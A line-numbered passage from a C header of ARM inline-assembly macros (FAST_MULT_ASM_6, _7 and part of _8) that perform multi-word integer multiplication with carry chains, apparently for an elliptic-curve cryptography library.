46 \
47 "mov r11, #0 \n\t" \
48 "umull r12, r14, r3, r8 \n\t" \
49 "adds r9, r9, r12 \n\t" \
50 "adcs r10, r10, r14 \n\t" \
51 "adc r11, r11, #0 \n\t" \
52 "umull r12, r14, r4, r7 \n\t" \
53 "adds r9, r9, r12 \n\t" \
54 "adcs r10, r10, r14 \n\t" \
55 "adc r11, r11, #0 \n\t" \
56 "umull r12, r14, r5, r6 \n\t" \
57 "adds r9, r9, r12 \n\t" \
58 "adcs r10, r10, r14 \n\t" \
59 "adc r11, r11, #0 \n\t" \
60 "stmia r0!, {r9} \n\t" \
61 \
62 "ldmia r1!, {r3} \n\t" \
63 "mov r12, #0 \n\t" \
64 "umull r14, r9, r4, r8 \n\t" \
65 "adds r10, r10, r14 \n\t" \
66 "adcs r11, r11, r9 \n\t" \
67 "adc r12, r12, #0 \n\t" \
68 "umull r14, r9, r5, r7 \n\t" \
69 "adds r10, r10, r14 \n\t" \
70 "adcs r11, r11, r9 \n\t" \
71 "adc r12, r12, #0 \n\t" \
72 "umull r14, r9, r3, r6 \n\t" \
73 "adds r10, r10, r14 \n\t" \
74 "adcs r11, r11, r9 \n\t" \
75 "adc r12, r12, #0 \n\t" \
76 "ldr r14, [r0] \n\t" \
77 "adds r10, r10, r14 \n\t" \
78 "adcs r11, r11, #0 \n\t" \
79 "adc r12, r12, #0 \n\t" \
80 "stmia r0!, {r10} \n\t" \
81 \
82 "ldmia r1!, {r4} \n\t" \
83 "mov r14, #0 \n\t" \
84 "umull r9, r10, r5, r8 \n\t" \
85 "adds r11, r11, r9 \n\t" \
86 "adcs r12, r12, r10 \n\t" \
87 "adc r14, r14, #0 \n\t" \
88 "umull r9, r10, r3, r7 \n\t" \
89 "adds r11, r11, r9 \n\t" \
90 "adcs r12, r12, r10 \n\t" \
91 "adc r14, r14, #0 \n\t" \
92 "umull r9, r10, r4, r6 \n\t" \
93 "adds r11, r11, r9 \n\t" \
94 "adcs r12, r12, r10 \n\t" \
95 "adc r14, r14, #0 \n\t" \
96 "ldr r9, [r0] \n\t" \
97 "adds r11, r11, r9 \n\t" \
98 "adcs r12, r12, #0 \n\t" \
99 "adc r14, r14, #0 \n\t" \
100 "stmia r0!, {r11} \n\t" \
101 \
102 "ldmia r2!, {r6} \n\t" \
103 "mov r9, #0 \n\t" \
104 "umull r10, r11, r5, r6 \n\t" \
105 "adds r12, r12, r10 \n\t" \
106 "adcs r14, r14, r11 \n\t" \
107 "adc r9, r9, #0 \n\t" \
108 "umull r10, r11, r3, r8 \n\t" \
109 "adds r12, r12, r10 \n\t" \
110 "adcs r14, r14, r11 \n\t" \
111 "adc r9, r9, #0 \n\t" \
112 "umull r10, r11, r4, r7 \n\t" \
113 "adds r12, r12, r10 \n\t" \
114 "adcs r14, r14, r11 \n\t" \
115 "adc r9, r9, #0 \n\t" \
116 "ldr r10, [r0] \n\t" \
117 "adds r12, r12, r10 \n\t" \
118 "adcs r14, r14, #0 \n\t" \
119 "adc r9, r9, #0 \n\t" \
120 "stmia r0!, {r12} \n\t" \
121 \
122 "ldmia r2!, {r7} \n\t" \
123 "mov r10, #0 \n\t" \
124 "umull r11, r12, r5, r7 \n\t" \
125 "adds r14, r14, r11 \n\t" \
126 "adcs r9, r9, r12 \n\t" \
127 "adc r10, r10, #0 \n\t" \
128 "umull r11, r12, r3, r6 \n\t" \
129 "adds r14, r14, r11 \n\t" \
130 "adcs r9, r9, r12 \n\t" \
131 "adc r10, r10, #0 \n\t" \
132 "umull r11, r12, r4, r8 \n\t" \
133 "adds r14, r14, r11 \n\t" \
134 "adcs r9, r9, r12 \n\t" \
135 "adc r10, r10, #0 \n\t" \
136 "ldr r11, [r0] \n\t" \
137 "adds r14, r14, r11 \n\t" \
138 "adcs r9, r9, #0 \n\t" \
139 "adc r10, r10, #0 \n\t" \
140 "stmia r0!, {r14} \n\t" \
141 \
142 "mov r11, #0 \n\t" \
143 "umull r12, r14, r3, r7 \n\t" \
144 "adds r9, r9, r12 \n\t" \
145 "adcs r10, r10, r14 \n\t" \
146 "adc r11, r11, #0 \n\t" \
147 "umull r12, r14, r4, r6 \n\t" \
148 "adds r9, r9, r12 \n\t" \
149 "adcs r10, r10, r14 \n\t" \
150 "adc r11, r11, #0 \n\t" \
151 "stmia r0!, {r9} \n\t" \
152 \
153 "umull r14, r9, r4, r7 \n\t" \
154 "adds r10, r10, r14 \n\t" \
155 "adc r11, r11, r9 \n\t" \
156 "stmia r0!, {r10, r11} \n\t"
157
158 #define FAST_MULT_ASM_6 \
159 "add r0, 12 \n\t" \
160 "add r2, 12 \n\t" \
161 "ldmia r1!, {r3,r4,r5} \n\t" \
162 "ldmia r2!, {r6,r7,r8} \n\t" \
163 \
164 "umull r11, r12, r3, r6 \n\t" \
165 "stmia r0!, {r11} \n\t" \
166 \
167 "mov r10, #0 \n\t" \
168 "umull r11, r9, r3, r7 \n\t" \
169 "adds r12, r12, r11 \n\t" \
170 "adc r9, r9, #0 \n\t" \
171 "umull r11, r14, r4, r6 \n\t" \
172 "adds r12, r12, r11 \n\t" \
173 "adcs r9, r9, r14 \n\t" \
174 "adc r10, r10, #0 \n\t" \
175 "stmia r0!, {r12} \n\t" \
176 \
177 "mov r11, #0 \n\t" \
178 "umull r12, r14, r3, r8 \n\t" \
179 "adds r9, r9, r12 \n\t" \
180 "adcs r10, r10, r14 \n\t" \
181 "adc r11, r11, #0 \n\t" \
182 "umull r12, r14, r4, r7 \n\t" \
183 "adds r9, r9, r12 \n\t" \
184 "adcs r10, r10, r14 \n\t" \
185 "adc r11, r11, #0 \n\t" \
186 "umull r12, r14, r5, r6 \n\t" \
187 "adds r9, r9, r12 \n\t" \
188 "adcs r10, r10, r14 \n\t" \
189 "adc r11, r11, #0 \n\t" \
190 "stmia r0!, {r9} \n\t" \
191 \
192 "mov r12, #0 \n\t" \
193 "umull r14, r9, r4, r8 \n\t" \
194 "adds r10, r10, r14 \n\t" \
195 "adcs r11, r11, r9 \n\t" \
196 "adc r12, r12, #0 \n\t" \
197 "umull r14, r9, r5, r7 \n\t" \
198 "adds r10, r10, r14 \n\t" \
199 "adcs r11, r11, r9 \n\t" \
200 "adc r12, r12, #0 \n\t" \
201 "stmia r0!, {r10} \n\t" \
202 \
203 "umull r9, r10, r5, r8 \n\t" \
204 "adds r11, r11, r9 \n\t" \
205 "adc r12, r12, r10 \n\t" \
206 "stmia r0!, {r11, r12} \n\t" \
207 \
208 "sub r0, 36 \n\t" \
209 "sub r2, 24 \n\t" \
210 "ldmia r2!, {r6,r7,r8} \n\t" \
211 \
212 "umull r11, r12, r3, r6 \n\t" \
213 "stmia r0!, {r11} \n\t" \
214 \
215 "mov r10, #0 \n\t" \
216 "umull r11, r9, r3, r7 \n\t" \
217 "adds r12, r12, r11 \n\t" \
218 "adc r9, r9, #0 \n\t" \
219 "umull r11, r14, r4, r6 \n\t" \
220 "adds r12, r12, r11 \n\t" \
221 "adcs r9, r9, r14 \n\t" \
222 "adc r10, r10, #0 \n\t" \
223 "stmia r0!, {r12} \n\t" \
224 \
225 "mov r11, #0 \n\t" \
226 "umull r12, r14, r3, r8 \n\t" \
227 "adds r9, r9, r12 \n\t" \
228 "adcs r10, r10, r14 \n\t" \
229 "adc r11, r11, #0 \n\t" \
230 "umull r12, r14, r4, r7 \n\t" \
231 "adds r9, r9, r12 \n\t" \
232 "adcs r10, r10, r14 \n\t" \
233 "adc r11, r11, #0 \n\t" \
234 "umull r12, r14, r5, r6 \n\t" \
235 "adds r9, r9, r12 \n\t" \
236 "adcs r10, r10, r14 \n\t" \
237 "adc r11, r11, #0 \n\t" \
238 "stmia r0!, {r9} \n\t" \
239 \
240 "ldmia r1!, {r3} \n\t" \
241 "mov r12, #0 \n\t" \
242 "umull r14, r9, r4, r8 \n\t" \
243 "adds r10, r10, r14 \n\t" \
244 "adcs r11, r11, r9 \n\t" \
245 "adc r12, r12, #0 \n\t" \
246 "umull r14, r9, r5, r7 \n\t" \
247 "adds r10, r10, r14 \n\t" \
248 "adcs r11, r11, r9 \n\t" \
249 "adc r12, r12, #0 \n\t" \
250 "umull r14, r9, r3, r6 \n\t" \
251 "adds r10, r10, r14 \n\t" \
252 "adcs r11, r11, r9 \n\t" \
253 "adc r12, r12, #0 \n\t" \
254 "ldr r14, [r0] \n\t" \
255 "adds r10, r10, r14 \n\t" \
256 "adcs r11, r11, #0 \n\t" \
257 "adc r12, r12, #0 \n\t" \
258 "stmia r0!, {r10} \n\t" \
259 \
260 "ldmia r1!, {r4} \n\t" \
261 "mov r14, #0 \n\t" \
262 "umull r9, r10, r5, r8 \n\t" \
263 "adds r11, r11, r9 \n\t" \
264 "adcs r12, r12, r10 \n\t" \
265 "adc r14, r14, #0 \n\t" \
266 "umull r9, r10, r3, r7 \n\t" \
267 "adds r11, r11, r9 \n\t" \
268 "adcs r12, r12, r10 \n\t" \
269 "adc r14, r14, #0 \n\t" \
270 "umull r9, r10, r4, r6 \n\t" \
271 "adds r11, r11, r9 \n\t" \
272 "adcs r12, r12, r10 \n\t" \
273 "adc r14, r14, #0 \n\t" \
274 "ldr r9, [r0] \n\t" \
275 "adds r11, r11, r9 \n\t" \
276 "adcs r12, r12, #0 \n\t" \
277 "adc r14, r14, #0 \n\t" \
278 "stmia r0!, {r11} \n\t" \
279 \
280 "ldmia r1!, {r5} \n\t" \
281 "mov r9, #0 \n\t" \
282 "umull r10, r11, r3, r8 \n\t" \
283 "adds r12, r12, r10 \n\t" \
284 "adcs r14, r14, r11 \n\t" \
285 "adc r9, r9, #0 \n\t" \
286 "umull r10, r11, r4, r7 \n\t" \
287 "adds r12, r12, r10 \n\t" \
288 "adcs r14, r14, r11 \n\t" \
289 "adc r9, r9, #0 \n\t" \
290 "umull r10, r11, r5, r6 \n\t" \
291 "adds r12, r12, r10 \n\t" \
292 "adcs r14, r14, r11 \n\t" \
293 "adc r9, r9, #0 \n\t" \
294 "ldr r10, [r0] \n\t" \
295 "adds r12, r12, r10 \n\t" \
296 "adcs r14, r14, #0 \n\t" \
297 "adc r9, r9, #0 \n\t" \
298 "stmia r0!, {r12} \n\t" \
299 \
300 "ldmia r2!, {r6} \n\t" \
301 "mov r10, #0 \n\t" \
302 "umull r11, r12, r3, r6 \n\t" \
303 "adds r14, r14, r11 \n\t" \
304 "adcs r9, r9, r12 \n\t" \
305 "adc r10, r10, #0 \n\t" \
306 "umull r11, r12, r4, r8 \n\t" \
307 "adds r14, r14, r11 \n\t" \
308 "adcs r9, r9, r12 \n\t" \
309 "adc r10, r10, #0 \n\t" \
310 "umull r11, r12, r5, r7 \n\t" \
311 "adds r14, r14, r11 \n\t" \
312 "adcs r9, r9, r12 \n\t" \
313 "adc r10, r10, #0 \n\t" \
314 "ldr r11, [r0] \n\t" \
315 "adds r14, r14, r11 \n\t" \
316 "adcs r9, r9, #0 \n\t" \
317 "adc r10, r10, #0 \n\t" \
318 "stmia r0!, {r14} \n\t" \
319 \
320 "ldmia r2!, {r7} \n\t" \
321 "mov r11, #0 \n\t" \
322 "umull r12, r14, r3, r7 \n\t" \
323 "adds r9, r9, r12 \n\t" \
324 "adcs r10, r10, r14 \n\t" \
325 "adc r11, r11, #0 \n\t" \
326 "umull r12, r14, r4, r6 \n\t" \
327 "adds r9, r9, r12 \n\t" \
328 "adcs r10, r10, r14 \n\t" \
329 "adc r11, r11, #0 \n\t" \
330 "umull r12, r14, r5, r8 \n\t" \
331 "adds r9, r9, r12 \n\t" \
332 "adcs r10, r10, r14 \n\t" \
333 "adc r11, r11, #0 \n\t" \
334 "ldr r12, [r0] \n\t" \
335 "adds r9, r9, r12 \n\t" \
336 "adcs r10, r10, #0 \n\t" \
337 "adc r11, r11, #0 \n\t" \
338 "stmia r0!, {r9} \n\t" \
339 \
340 "ldmia r2!, {r8} \n\t" \
341 "mov r12, #0 \n\t" \
342 "umull r14, r9, r3, r8 \n\t" \
343 "adds r10, r10, r14 \n\t" \
344 "adcs r11, r11, r9 \n\t" \
345 "adc r12, r12, #0 \n\t" \
346 "umull r14, r9, r4, r7 \n\t" \
347 "adds r10, r10, r14 \n\t" \
348 "adcs r11, r11, r9 \n\t" \
349 "adc r12, r12, #0 \n\t" \
350 "umull r14, r9, r5, r6 \n\t" \
351 "adds r10, r10, r14 \n\t" \
352 "adcs r11, r11, r9 \n\t" \
353 "adc r12, r12, #0 \n\t" \
354 "ldr r14, [r0] \n\t" \
355 "adds r10, r10, r14 \n\t" \
356 "adcs r11, r11, #0 \n\t" \
357 "adc r12, r12, #0 \n\t" \
358 "stmia r0!, {r10} \n\t" \
359 \
360 "mov r14, #0 \n\t" \
361 "umull r9, r10, r4, r8 \n\t" \
362 "adds r11, r11, r9 \n\t" \
363 "adcs r12, r12, r10 \n\t" \
364 "adc r14, r14, #0 \n\t" \
365 "umull r9, r10, r5, r7 \n\t" \
366 "adds r11, r11, r9 \n\t" \
367 "adcs r12, r12, r10 \n\t" \
368 "adc r14, r14, #0 \n\t" \
369 "stmia r0!, {r11} \n\t" \
370 \
371 "umull r10, r11, r5, r8 \n\t" \
372 "adds r12, r12, r10 \n\t" \
373 "adc r14, r14, r11 \n\t" \
374 "stmia r0!, {r12, r14} \n\t"
375
376 #define FAST_MULT_ASM_7 \
377 "add r0, 24 \n\t" \
378 "add r2, 24 \n\t" \
379 "ldmia r1!, {r3} \n\t" \
380 "ldmia r2!, {r6} \n\t" \
381 \
382 "umull r9, r10, r3, r6 \n\t" \
383 "stmia r0!, {r9, r10} \n\t" \
384 \
385 "sub r0, 20 \n\t" \
386 "sub r2, 16 \n\t" \
387 "ldmia r2!, {r6, r7, r8} \n\t" \
388 "ldmia r1!, {r4, r5} \n\t" \
389 \
390 "umull r9, r10, r3, r6 \n\t" \
391 "stmia r0!, {r9} \n\t" \
392 \
393 "mov r14, #0 \n\t" \
394 "umull r9, r12, r3, r7 \n\t" \
395 "adds r10, r10, r9 \n\t" \
396 "adc r12, r12, #0 \n\t" \
397 "umull r9, r11, r4, r6 \n\t" \
398 "adds r10, r10, r9 \n\t" \
399 "adcs r12, r12, r11 \n\t" \
400 "adc r14, r14, #0 \n\t" \
401 "stmia r0!, {r10} \n\t" \
402 \
403 "mov r9, #0 \n\t" \
404 "umull r10, r11, r3, r8 \n\t" \
405 "adds r12, r12, r10 \n\t" \
406 "adcs r14, r14, r11 \n\t" \
407 "adc r9, r9, #0 \n\t" \
408 "umull r10, r11, r4, r7 \n\t" \
409 "adds r12, r12, r10 \n\t" \
410 "adcs r14, r14, r11 \n\t" \
411 "adc r9, r9, #0 \n\t" \
412 "umull r10, r11, r5, r6 \n\t" \
413 "adds r12, r12, r10 \n\t" \
414 "adcs r14, r14, r11 \n\t" \
415 "adc r9, r9, #0 \n\t" \
416 "stmia r0!, {r12} \n\t" \
417 \
418 "ldmia r1!, {r3} \n\t" \
419 "mov r10, #0 \n\t" \
420 "umull r11, r12, r4, r8 \n\t" \
421 "adds r14, r14, r11 \n\t" \
422 "adcs r9, r9, r12 \n\t" \
423 "adc r10, r10, #0 \n\t" \
424 "umull r11, r12, r5, r7 \n\t" \
425 "adds r14, r14, r11 \n\t" \
426 "adcs r9, r9, r12 \n\t" \
427 "adc r10, r10, #0 \n\t" \
428 "umull r11, r12, r3, r6 \n\t" \
429 "adds r14, r14, r11 \n\t" \
430 "adcs r9, r9, r12 \n\t" \
431 "adc r10, r10, #0 \n\t" \
432 "ldr r11, [r0] \n\t" \
433 "adds r14, r14, r11 \n\t" \
434 "adcs r9, r9, #0 \n\t" \
435 "adc r10, r10, #0 \n\t" \
436 "stmia r0!, {r14} \n\t" \
437 \
438 "ldmia r2!, {r6} \n\t" \
439 "mov r11, #0 \n\t" \
440 "umull r12, r14, r4, r6 \n\t" \
441 "adds r9, r9, r12 \n\t" \
442 "adcs r10, r10, r14 \n\t" \
443 "adc r11, r11, #0 \n\t" \
444 "umull r12, r14, r5, r8 \n\t" \
445 "adds r9, r9, r12 \n\t" \
446 "adcs r10, r10, r14 \n\t" \
447 "adc r11, r11, #0 \n\t" \
448 "umull r12, r14, r3, r7 \n\t" \
449 "adds r9, r9, r12 \n\t" \
450 "adcs r10, r10, r14 \n\t" \
451 "adc r11, r11, #0 \n\t" \
452 "ldr r12, [r0] \n\t" \
453 "adds r9, r9, r12 \n\t" \
454 "adcs r10, r10, #0 \n\t" \
455 "adc r11, r11, #0 \n\t" \
456 "stmia r0!, {r9} \n\t" \
457 \
458 "mov r12, #0 \n\t" \
459 "umull r14, r9, r5, r6 \n\t" \
460 "adds r10, r10, r14 \n\t" \
461 "adcs r11, r11, r9 \n\t" \
462 "adc r12, r12, #0 \n\t" \
463 "umull r14, r9, r3, r8 \n\t" \
464 "adds r10, r10, r14 \n\t" \
465 "adcs r11, r11, r9 \n\t" \
466 "adc r12, r12, #0 \n\t" \
467 "stmia r0!, {r10} \n\t" \
468 \
469 "umull r9, r10, r3, r6 \n\t" \
470 "adds r11, r11, r9 \n\t" \
471 "adc r12, r12, r10 \n\t" \
472 "stmia r0!, {r11, r12} \n\t" \
473 \
474 "sub r0, 44 \n\t" \
475 "sub r1, 16 \n\t" \
476 "sub r2, 28 \n\t" \
477 "ldmia r1!, {r3,r4,r5} \n\t" \
478 "ldmia r2!, {r6,r7,r8} \n\t" \
479 \
480 "umull r9, r10, r3, r6 \n\t" \
481 "stmia r0!, {r9} \n\t" \
482 \
483 "mov r14, #0 \n\t" \
484 "umull r9, r12, r3, r7 \n\t" \
485 "adds r10, r10, r9 \n\t" \
486 "adc r12, r12, #0 \n\t" \
487 "umull r9, r11, r4, r6 \n\t" \
488 "adds r10, r10, r9 \n\t" \
489 "adcs r12, r12, r11 \n\t" \
490 "adc r14, r14, #0 \n\t" \
491 "stmia r0!, {r10} \n\t" \
492 \
493 "mov r9, #0 \n\t" \
494 "umull r10, r11, r3, r8 \n\t" \
495 "adds r12, r12, r10 \n\t" \
496 "adcs r14, r14, r11 \n\t" \
497 "adc r9, r9, #0 \n\t" \
498 "umull r10, r11, r4, r7 \n\t" \
499 "adds r12, r12, r10 \n\t" \
500 "adcs r14, r14, r11 \n\t" \
501 "adc r9, r9, #0 \n\t" \
502 "umull r10, r11, r5, r6 \n\t" \
503 "adds r12, r12, r10 \n\t" \
504 "adcs r14, r14, r11 \n\t" \
505 "adc r9, r9, #0 \n\t" \
506 "stmia r0!, {r12} \n\t" \
507 \
508 "ldmia r1!, {r3} \n\t" \
509 "mov r10, #0 \n\t" \
510 "umull r11, r12, r4, r8 \n\t" \
511 "adds r14, r14, r11 \n\t" \
512 "adcs r9, r9, r12 \n\t" \
513 "adc r10, r10, #0 \n\t" \
514 "umull r11, r12, r5, r7 \n\t" \
515 "adds r14, r14, r11 \n\t" \
516 "adcs r9, r9, r12 \n\t" \
517 "adc r10, r10, #0 \n\t" \
518 "umull r11, r12, r3, r6 \n\t" \
519 "adds r14, r14, r11 \n\t" \
520 "adcs r9, r9, r12 \n\t" \
521 "adc r10, r10, #0 \n\t" \
522 "ldr r11, [r0] \n\t" \
523 "adds r14, r14, r11 \n\t" \
524 "adcs r9, r9, #0 \n\t" \
525 "adc r10, r10, #0 \n\t" \
526 "stmia r0!, {r14} \n\t" \
527 \
528 "ldmia r1!, {r4} \n\t" \
529 "mov r11, #0 \n\t" \
530 "umull r12, r14, r5, r8 \n\t" \
531 "adds r9, r9, r12 \n\t" \
532 "adcs r10, r10, r14 \n\t" \
533 "adc r11, r11, #0 \n\t" \
534 "umull r12, r14, r3, r7 \n\t" \
535 "adds r9, r9, r12 \n\t" \
536 "adcs r10, r10, r14 \n\t" \
537 "adc r11, r11, #0 \n\t" \
538 "umull r12, r14, r4, r6 \n\t" \
539 "adds r9, r9, r12 \n\t" \
540 "adcs r10, r10, r14 \n\t" \
541 "adc r11, r11, #0 \n\t" \
542 "ldr r12, [r0] \n\t" \
543 "adds r9, r9, r12 \n\t" \
544 "adcs r10, r10, #0 \n\t" \
545 "adc r11, r11, #0 \n\t" \
546 "stmia r0!, {r9} \n\t" \
547 \
548 "ldmia r1!, {r5} \n\t" \
549 "mov r12, #0 \n\t" \
550 "umull r14, r9, r3, r8 \n\t" \
551 "adds r10, r10, r14 \n\t" \
552 "adcs r11, r11, r9 \n\t" \
553 "adc r12, r12, #0 \n\t" \
554 "umull r14, r9, r4, r7 \n\t" \
555 "adds r10, r10, r14 \n\t" \
556 "adcs r11, r11, r9 \n\t" \
557 "adc r12, r12, #0 \n\t" \
558 "umull r14, r9, r5, r6 \n\t" \
559 "adds r10, r10, r14 \n\t" \
560 "adcs r11, r11, r9 \n\t" \
561 "adc r12, r12, #0 \n\t" \
562 "ldr r14, [r0] \n\t" \
563 "adds r10, r10, r14 \n\t" \
564 "adcs r11, r11, #0 \n\t" \
565 "adc r12, r12, #0 \n\t" \
566 "stmia r0!, {r10} \n\t" \
567 \
568 "ldmia r1!, {r3} \n\t" \
569 "mov r14, #0 \n\t" \
570 "umull r9, r10, r4, r8 \n\t" \
571 "adds r11, r11, r9 \n\t" \
572 "adcs r12, r12, r10 \n\t" \
573 "adc r14, r14, #0 \n\t" \
574 "umull r9, r10, r5, r7 \n\t" \
575 "adds r11, r11, r9 \n\t" \
576 "adcs r12, r12, r10 \n\t" \
577 "adc r14, r14, #0 \n\t" \
578 "umull r9, r10, r3, r6 \n\t" \
579 "adds r11, r11, r9 \n\t" \
580 "adcs r12, r12, r10 \n\t" \
581 "adc r14, r14, #0 \n\t" \
582 "ldr r9, [r0] \n\t" \
583 "adds r11, r11, r9 \n\t" \
584 "adcs r12, r12, #0 \n\t" \
585 "adc r14, r14, #0 \n\t" \
586 "stmia r0!, {r11} \n\t" \
587 \
588 "ldmia r2!, {r6} \n\t" \
589 "mov r9, #0 \n\t" \
590 "umull r10, r11, r4, r6 \n\t" \
591 "adds r12, r12, r10 \n\t" \
592 "adcs r14, r14, r11 \n\t" \
593 "adc r9, r9, #0 \n\t" \
594 "umull r10, r11, r5, r8 \n\t" \
595 "adds r12, r12, r10 \n\t" \
596 "adcs r14, r14, r11 \n\t" \
597 "adc r9, r9, #0 \n\t" \
598 "umull r10, r11, r3, r7 \n\t" \
599 "adds r12, r12, r10 \n\t" \
600 "adcs r14, r14, r11 \n\t" \
601 "adc r9, r9, #0 \n\t" \
602 "ldr r10, [r0] \n\t" \
603 "adds r12, r12, r10 \n\t" \
604 "adcs r14, r14, #0 \n\t" \
605 "adc r9, r9, #0 \n\t" \
606 "stmia r0!, {r12} \n\t" \
607 \
608 "ldmia r2!, {r7} \n\t" \
609 "mov r10, #0 \n\t" \
610 "umull r11, r12, r4, r7 \n\t" \
611 "adds r14, r14, r11 \n\t" \
612 "adcs r9, r9, r12 \n\t" \
613 "adc r10, r10, #0 \n\t" \
614 "umull r11, r12, r5, r6 \n\t" \
615 "adds r14, r14, r11 \n\t" \
616 "adcs r9, r9, r12 \n\t" \
617 "adc r10, r10, #0 \n\t" \
618 "umull r11, r12, r3, r8 \n\t" \
619 "adds r14, r14, r11 \n\t" \
620 "adcs r9, r9, r12 \n\t" \
621 "adc r10, r10, #0 \n\t" \
622 "ldr r11, [r0] \n\t" \
623 "adds r14, r14, r11 \n\t" \
624 "adcs r9, r9, #0 \n\t" \
625 "adc r10, r10, #0 \n\t" \
626 "stmia r0!, {r14} \n\t" \
627 \
628 "ldmia r2!, {r8} \n\t" \
629 "mov r11, #0 \n\t" \
630 "umull r12, r14, r4, r8 \n\t" \
631 "adds r9, r9, r12 \n\t" \
632 "adcs r10, r10, r14 \n\t" \
633 "adc r11, r11, #0 \n\t" \
634 "umull r12, r14, r5, r7 \n\t" \
635 "adds r9, r9, r12 \n\t" \
636 "adcs r10, r10, r14 \n\t" \
637 "adc r11, r11, #0 \n\t" \
638 "umull r12, r14, r3, r6 \n\t" \
639 "adds r9, r9, r12 \n\t" \
640 "adcs r10, r10, r14 \n\t" \
641 "adc r11, r11, #0 \n\t" \
642 "ldr r12, [r0] \n\t" \
643 "adds r9, r9, r12 \n\t" \
644 "adcs r10, r10, #0 \n\t" \
645 "adc r11, r11, #0 \n\t" \
646 "stmia r0!, {r9} \n\t" \
647 \
648 "ldmia r2!, {r6} \n\t" \
649 "mov r12, #0 \n\t" \
650 "umull r14, r9, r4, r6 \n\t" \
651 "adds r10, r10, r14 \n\t" \
652 "adcs r11, r11, r9 \n\t" \
653 "adc r12, r12, #0 \n\t" \
654 "umull r14, r9, r5, r8 \n\t" \
655 "adds r10, r10, r14 \n\t" \
656 "adcs r11, r11, r9 \n\t" \
657 "adc r12, r12, #0 \n\t" \
658 "umull r14, r9, r3, r7 \n\t" \
659 "adds r10, r10, r14 \n\t" \
660 "adcs r11, r11, r9 \n\t" \
661 "adc r12, r12, #0 \n\t" \
662 "ldr r14, [r0] \n\t" \
663 "adds r10, r10, r14 \n\t" \
664 "adcs r11, r11, #0 \n\t" \
665 "adc r12, r12, #0 \n\t" \
666 "stmia r0!, {r10} \n\t" \
667 \
668 "mov r14, #0 \n\t" \
669 "umull r9, r10, r5, r6 \n\t" \
670 "adds r11, r11, r9 \n\t" \
671 "adcs r12, r12, r10 \n\t" \
672 "adc r14, r14, #0 \n\t" \
673 "umull r9, r10, r3, r8 \n\t" \
674 "adds r11, r11, r9 \n\t" \
675 "adcs r12, r12, r10 \n\t" \
676 "adc r14, r14, #0 \n\t" \
677 "stmia r0!, {r11} \n\t" \
678 \
679 "umull r10, r11, r3, r6 \n\t" \
680 "adds r12, r12, r10 \n\t" \
681 "adc r14, r14, r11 \n\t" \
682 "stmia r0!, {r12, r14} \n\t"
683
684 #define FAST_MULT_ASM_8 \
685 "add r0, 24 \n\t" \
686 "add r2, 24 \n\t" \
687 "ldmia r1!, {r3,r4} \n\t" \
688 "ldmia r2!, {r6,r7} \n\t" \
689 \
690 "umull r11, r12, r3, r6 \n\t" \
691 "stmia r0!, {r11} \n\t" \
692 \
693 "mov r10, #0 \n\t" \
694 "umull r11, r9, r3, r7 \n\t" \
695 "adds r12, r12, r11 \n\t" \
696 "adc r9, r9, #0 \n\t" \
697 "umull r11, r14, r4, r6 \n\t" \
698 "adds r12, r12, r11 \n\t" \
699 "adcs r9, r9, r14 \n\t" \
700 "adc r10, r10, #0 \n\t" \
701 "stmia r0!, {r12} \n\t" \
702 \
703 "umull r12, r14, r4, r7 \n\t" \
704 "adds r9, r9, r12 \n\t" \
705 "adc r10, r10, r14 \n\t" \
706 "stmia r0!, {r9, r10} \n\t" \
707 \
708 "sub r0, 28 \n\t" \
709 "sub r2, 20 \n\t" \
710 "ldmia r2!, {r6,r7,r8} \n\t" \
711 "ldmia r1!, {r5} \n\t" \
712 \
713 "umull r11, r12, r3, r6 \n\t" \
714 "stmia r0!, {r11} \n\t" \
715 \
716 "mov r10, #0 \n\t" \
717 "umull r11, r9, r3, r7 \n\t" \
718 "adds r12, r12, r11 \n\t" \
719 "adc r9, r9, #0 \n\t" \
720 "umull r11, r14, r4, r6 \n\t" \
721 "adds r12, r12, r11 \n\t" \
722 "adcs r9, r9, r14 \n\t" \
723 "adc r10, r10, #0 \n\t" \
724 "stmia r0!, {r12} \n\t" \
725 \
726 "mov r11, #0 \n\t" \
727 "umull r12, r14, r3, r8 \n\t" \
728 "adds r9, r9, r12 \n\t" \
729 "adcs r10, r10, r14 \n\t" \
730 "adc r11, r11, #0 \n\t" \
731 "umull r12, r14, r4, r7 \n\t" \
732 "adds r9, r9, r12 \n\t" \
733 "adcs r10, r10, r14 \n\t" \
734 "adc r11, r11, #0 \n\t" \
735 "umull r12, r14, r5, r6 \n\t" \
736 "adds r9, r9, r12 \n\t" \
737 "adcs r10, r10, r14 \n\t" \
738 "adc r11, r11, #0 \n\t" \
739 "stmia r0!, {r9} \n\t" \
740 \
741 "ldmia r1!, {r3} \n\t" \
742 "mov r12, #0 \n\t" \
743 "umull r14, r9, r4, r8 \n\t" \
744 "adds r10, r10, r14 \n\t" \
745 "adcs r11, r11, r9 \n\t" \
746 "adc r12, r12, #0 \n\t" \
747 "umull r14, r9, r5, r7 \n\t" \
748 "adds r10, r10, r14 \n\t" \
749 "adcs r11, r11, r9 \n\t" \
750 "adc r12, r12, #0 \n\t" \
751 "umull r14, r9, r3, r6 \n\t" \
752 "adds r10, r10, r14 \n\t" \
753 "adcs r11, r11, r9 \n\t" \
754 "adc r12, r12, #0 \n\t" \
755 "ldr r14, [r0] \n\t" \
756 "adds r10, r10, r14 \n\t" \
757 "adcs r11, r11, #0 \n\t" \
758 "adc r12, r12, #0 \n\t" \
759 "stmia r0!, {r10} \n\t" \
760 \
761 "ldmia r1!, {r4} \n\t" \
762 "mov r14, #0 \n\t" \
763 "umull r9, r10, r5, r8 \n\t" \
764 "adds r11, r11, r9 \n\t" \
765 "adcs r12, r12, r10 \n\t" \
766 "adc r14, r14, #0 \n\t" \
767 "umull r9, r10, r3, r7 \n\t" \
768 "adds r11, r11, r9 \n\t" \
769 "adcs r12, r12, r10 \n\t" \
770 "adc r14, r14, #0 \n\t" \
771 "umull r9, r10, r4, r6 \n\t" \
772 "adds r11, r11, r9 \n\t" \
773 "adcs r12, r12, r10 \n\t" \
774 "adc r14, r14, #0 \n\t" \
775 "ldr r9, [r0] \n\t" \
776 "adds r11, r11, r9 \n\t" \
777 "adcs r12, r12, #0 \n\t" \
778 "adc r14, r14, #0 \n\t" \
779 "stmia r0!, {r11} \n\t" \
780 \
781 "ldmia r2!, {r6} \n\t" \
782 "mov r9, #0 \n\t" \
783 "umull r10, r11, r5, r6 \n\t" \
784 "adds r12, r12, r10 \n\t" \
785 "adcs r14, r14, r11 \n\t" \
786 "adc r9, r9, #0 \n\t" \
787 "umull r10, r11, r3, r8 \n\t" \
788 "adds r12, r12, r10 \n\t" \
789 "adcs r14, r14, r11 \n\t" \
